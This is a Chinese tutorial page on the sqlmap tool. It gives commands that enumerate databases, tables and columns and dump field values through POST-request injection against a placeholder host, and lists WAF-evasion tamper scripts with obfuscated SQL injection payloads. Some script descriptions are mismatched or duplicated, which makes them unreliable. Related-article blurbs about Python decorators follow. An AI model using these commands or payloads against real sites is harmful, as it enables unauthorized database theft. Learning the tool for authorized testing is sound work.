sqlmap工具的使用 (超详细附工具版)_python sqlmap

简介: sqlmap工具的使用 (超详细附工具版)_python sqlmap
POST请求

方法一

  • 查询所有数据库;(注:需将post数据保存为指定文件,例如:C:\1.txt)

python sqlmap.py -r “保存文件路径” --dbs

  • 查询指定数据库中所有表;

python sqlmap.py -r “保存文件路径” -D “库名” --tables

  • 查询指定表中字段名;

python sqlmap.py -r “保存文件路径” -D “库名” -T “表名” --columns

  • 查询指定表中字段值;

python sqlmap.py -r “保存文件路径” -D “库名” -T “表名” -C “字段名” --dump

方法二

  • 查询所有数据库;

python sqlmap.py -u “http://x.x.x.x/” --data=uname=admin&passwd=admin&submit=Submit --dbs

  • 查询指定数据库中所有表;

python sqlmap.py -u “http://x.x.x.x/” --data=uname=admin&passwd=admin&submit=Submit -D “库名” --tables

  • 查询指定表中字段名;

python sqlmap.py -u “http://x.x.x.x/” --data=uname=admin&passwd=admin&submit=Submit -D “库名” -T “表名” --columns

  • 查询指定表中字段值;

python sqlmap.py -u “http://x.x.x.x/” --data=uname=admin&passwd=admin&submit=Submit -D “库名” -T “表名” -C “字段名” --dump

进阶使用

绕过waf

–identify-waf 检测是否有WAF

  • 使用方法

python sqlmap.py -u “http://x.x.x.x/” --dbs --tamper=xxx.py

大概脚本如下

apostrophemask.py脚本:将引号替换为utf-8,用于过滤单引号
1 AND '1'='1 替换为 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

base64encode.py脚本:替换为base64编码
1' AND SLEEP(5)# 替换为 MScgQU5EIFNMRUVQKDUpIw==

space2plus.py脚本:用加号替换空格
SELECT id FROM users 替换为 SELECT+id+FROM+users

nonrecursivereplacement.py脚本:作为双重查询语句,用双重语句替代预定义的sql关键字
1 UNION SELECT 2-- 替换为 1 UNIOUNIONN SELESELECTCT 2--

space2randomblank.py脚本:将空格替换为其他有效字符
SELECT id FROM users 替换为 SELECT%0Did%0DFROM%0Ausers

unionalltounion.py脚本:将union allselect 替换为unionselect
-1 UNION ALL SELECT 替换为 -1 UNION SELECT

securesphere.py脚本:追加特定的字符串
1 AND 1=1 替换为 1 AND 1=1 and '0having'='0having

multiplespaces.py脚本:围绕sql关键字添加多个空格
1 UNION SELECT foobar 替换为 1 UNION SELECT foobar

space2dash.py脚本:将空格替换为–,并添加一个随机字符串和换行符
1 AND 9227=9227 替换为 1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227

space2mssqlblank.py脚本:将空格随机替换为其他空格符号(%01,%02,%03,%04,%05,%06,%07,%08,%09,%0B,%0C,%0D,%0E,%0F,%0A)
SELECT id FROM users 替换为 SELECT%0Eid%0DFROM%07users

between.py脚本:用NOT BETWEEN 0 AND 替换 >
1 AND A > B-- 替换为 1 AND A NOT BETWEEN 0 AND B--

percentage.py脚本:在每个字符前添加一个%
SELECT FIELD FROM TABLE 替换为 %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

sp_password.py脚本:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
1 AND 9227=9227-- 替换为 1 AND 9227=9227-- sp_password

randomcase.py脚本:随机大小写
INSERT 替换为 INseRt

charencode.py脚本:对给定的payload全部字符使用url编码 (不处理已经编码的字符)
SELECT FIELD FROM%20TABLE 替换为 %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

charunicodeencode.py脚本:用NOT BETWEEN 0 AND 替换 >
SELECT FIELD%20FROM TABLE 替换为 %u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

space2comment.py脚本:将空格替换为 /**/
SELECT id FROM users 替换为 SELECT/**/id/**/FROM/**/users

equaltolike.py脚本:将 = 替换为 LIKE
SELECT * FROM users WHERE id=1 替换为 SELECT * FROM users WHERE id LIKE 1

randomcomments.py脚本:用 NOT BETWEEN 0 AND 替换 >
INSERT 替换为 I/**/N/**/SERT

equaltolike.py脚本:将 > 替换为 GREATEST,绕过对 > 的过滤
1 AND A > B 替换为 1 AND GREATEST(A,B+1)=A

ifnull2ifisnull.py脚本:绕过对 IFNULL 的过滤
IFNULL(1, 2) 替换为 IF(ISNULL(1),2,1)

modsecurityversioned.py脚本:过滤空格,使用mysql内联注释的方式进行注入
1 AND 2>1-- 替换为 1 /*!30874AND 2>1*/--


相关文章
|
4天前
|
缓存 测试技术 数据处理
Python中的装饰器:优雅而强大的代码增强工具
在Python编程中,装饰器是一种强大的工具,可以用来增强函数和方法的功能,使其更加灵活和可复用。本文将深入探讨Python中装饰器的基本概念、使用方法和实际应用,帮助读者更好地理解和利用装饰器来提升代码的效率和可维护性。
|
6天前
|
缓存 测试技术 Python
Python中的装饰器:优雅而强大的函数修饰工具
在Python编程中,装饰器是一种强大的工具,它可以让我们在不改变函数结构的情况下,对函数进行修饰和扩展。本文将深入探讨Python中装饰器的作用、原理及实际运用,帮助读者更好地理解和运用这一技术。
|
7天前
|
机器学习/深度学习 算法框架/工具 数据安全/隐私保护
Pillow:Python图像处理的强大工具
**Pillow**是Python的图像处理库,源自PIL,支持多种格式如JPEG、PNG等。本文介绍了Pillow的基本用法和高级特性。安装Pillow后,可通过`Image.open()`打开图像,再使用`resize()`、`crop()`、`rotate()`等方法进行图像操作,如缩放、裁剪和旋转。此外,Pillow还支持颜色转换、滤镜应用(如模糊)、图像增强(亮度、对比度调整)和处理流水线。在实际应用中,Pillow常用于生成网页缩略图、添加水印及配合机器学习库进行图像预处理。【6月更文挑战第6天】
14 1
|
12天前
|
Python 缓存 开发者
Python中的装饰器:优雅而强大的代码增强工具
在Python编程中,装饰器是一种强大的工具,它允许开发者在不改变原有代码结构的情况下,增加额外的功能。本文将深入探讨Python中装饰器的概念、用法和实际应用,展示其在代码优化和增强方面的威力。
3个常用的Python性能分析工具及其使用方法
以下是几个常用的性能分析工具及其使用方法和常用命令:
|
19天前
|
缓存 监控 数据安全/隐私保护
探索Python中的装饰器:一种强大的元编程工具
在Python编程中,装饰器是一个强大而优雅的元编程工具,它允许我们在不修改原有函数或类代码的情况下,为其添加新的功能或修改其行为。本文将带您深入了解Python装饰器的概念、工作原理及其在实际编程中的应用,通过示例演示如何创建和使用装饰器,并探讨其在代码复用、性能监控和日志记录等方面的强大作用。
|
27天前
|
程序员 开发者 Python
Python中的装饰器:优雅而强大的函数修饰工具
在Python编程中,装饰器是一种强大的工具,它可以简洁地实现函数的增强、扩展和重用。本文将深入探讨Python中装饰器的工作原理、常见应用场景以及如何自定义装饰器,帮助读者更好地理解和运用这一重要的编程概念。
|
30天前
|
SQL 测试技术 网络安全
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
67 0